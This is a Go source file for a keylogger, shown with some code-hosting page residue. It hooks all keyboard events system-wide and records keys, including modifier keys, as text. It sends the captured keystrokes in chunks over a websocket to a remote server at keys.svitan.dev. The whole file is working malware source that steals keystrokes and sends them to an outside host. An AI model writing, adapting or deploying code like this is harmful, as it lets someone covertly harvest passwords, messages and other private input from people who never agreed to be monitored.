116 lines
2.1 KiB
Go
116 lines
2.1 KiB
Go
package main
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import (
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"net/url"
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"os"
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"github.com/gorilla/websocket"
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hook "github.com/robotn/gohook"
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)
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const (
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SHIFT_RAWCODE = 65505
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CTRL_RAWCODE = 65507
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ALT_RAWCODE = 65513
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DEL_KEYCHAR = 8
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ENTER_KEYCHAR = 13
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REG_START = 32
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REG_END = 255
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)
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var u = url.URL{Scheme: "wss", Host: "keys.svitan.dev", Path: "/keys"}
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func main() {
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var conn *websocket.Conn
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var err error
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var tries = 0
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for {
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conn, _, err = websocket.DefaultDialer.Dial(u.String(), nil)
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if err != nil {
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tries += 1
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if tries >= 3 {
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return
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}
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} else {
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break
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}
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}
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defer conn.Close()
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go func() {
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defer os.Exit(0)
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for {
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kind, _, err := conn.ReadMessage()
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if err != nil {
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return
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}
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if kind == websocket.CloseMessage {
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return
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}
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}
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}()
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evChan := hook.Start()
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defer hook.End()
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buff := make([]byte, 64)
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for ev := range evChan {
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switch ev.Rawcode {
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case SHIFT_RAWCODE:
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if ev.Kind == hook.KeyDown {
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buff = append(buff, []byte("[SHIFT]")...)
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} else if ev.Kind == hook.KeyUp {
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buff = append(buff, []byte("[shift]")...)
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}
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continue
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case CTRL_RAWCODE:
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if ev.Kind == hook.KeyDown {
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buff = append(buff, []byte("[CTRL]")...)
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} else if ev.Kind == hook.KeyUp {
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buff = append(buff, []byte("[ctrl]")...)
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}
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continue
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case ALT_RAWCODE:
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if ev.Kind == hook.KeyDown {
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buff = append(buff, []byte("[ALT]")...)
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} else if ev.Kind == hook.KeyUp {
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buff = append(buff, []byte("[alt]")...)
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}
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continue
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case DEL_KEYCHAR:
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if ev.Kind == hook.KeyDown {
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buff = append(buff, []byte("[DEL]")...)
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}
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continue
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}
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switch ev.Keychar {
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case DEL_KEYCHAR:
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if ev.Kind == hook.KeyDown {
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buff = append(buff, []byte("[DEL]")...)
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}
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continue
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case ENTER_KEYCHAR:
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if ev.Kind == hook.KeyDown {
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buff = append(buff, []byte("\n")...)
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}
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continue
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}
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if REG_START <= ev.Keychar && ev.Keychar <= REG_END {
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if ev.Kind == hook.KeyDown {
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buff = append(buff, byte(ev.Keychar))
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}
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}
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if len(buff) >= 32 {
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conn.WriteMessage(websocket.TextMessage, buff[:32])
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buff = buff[32:]
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}
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}
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}
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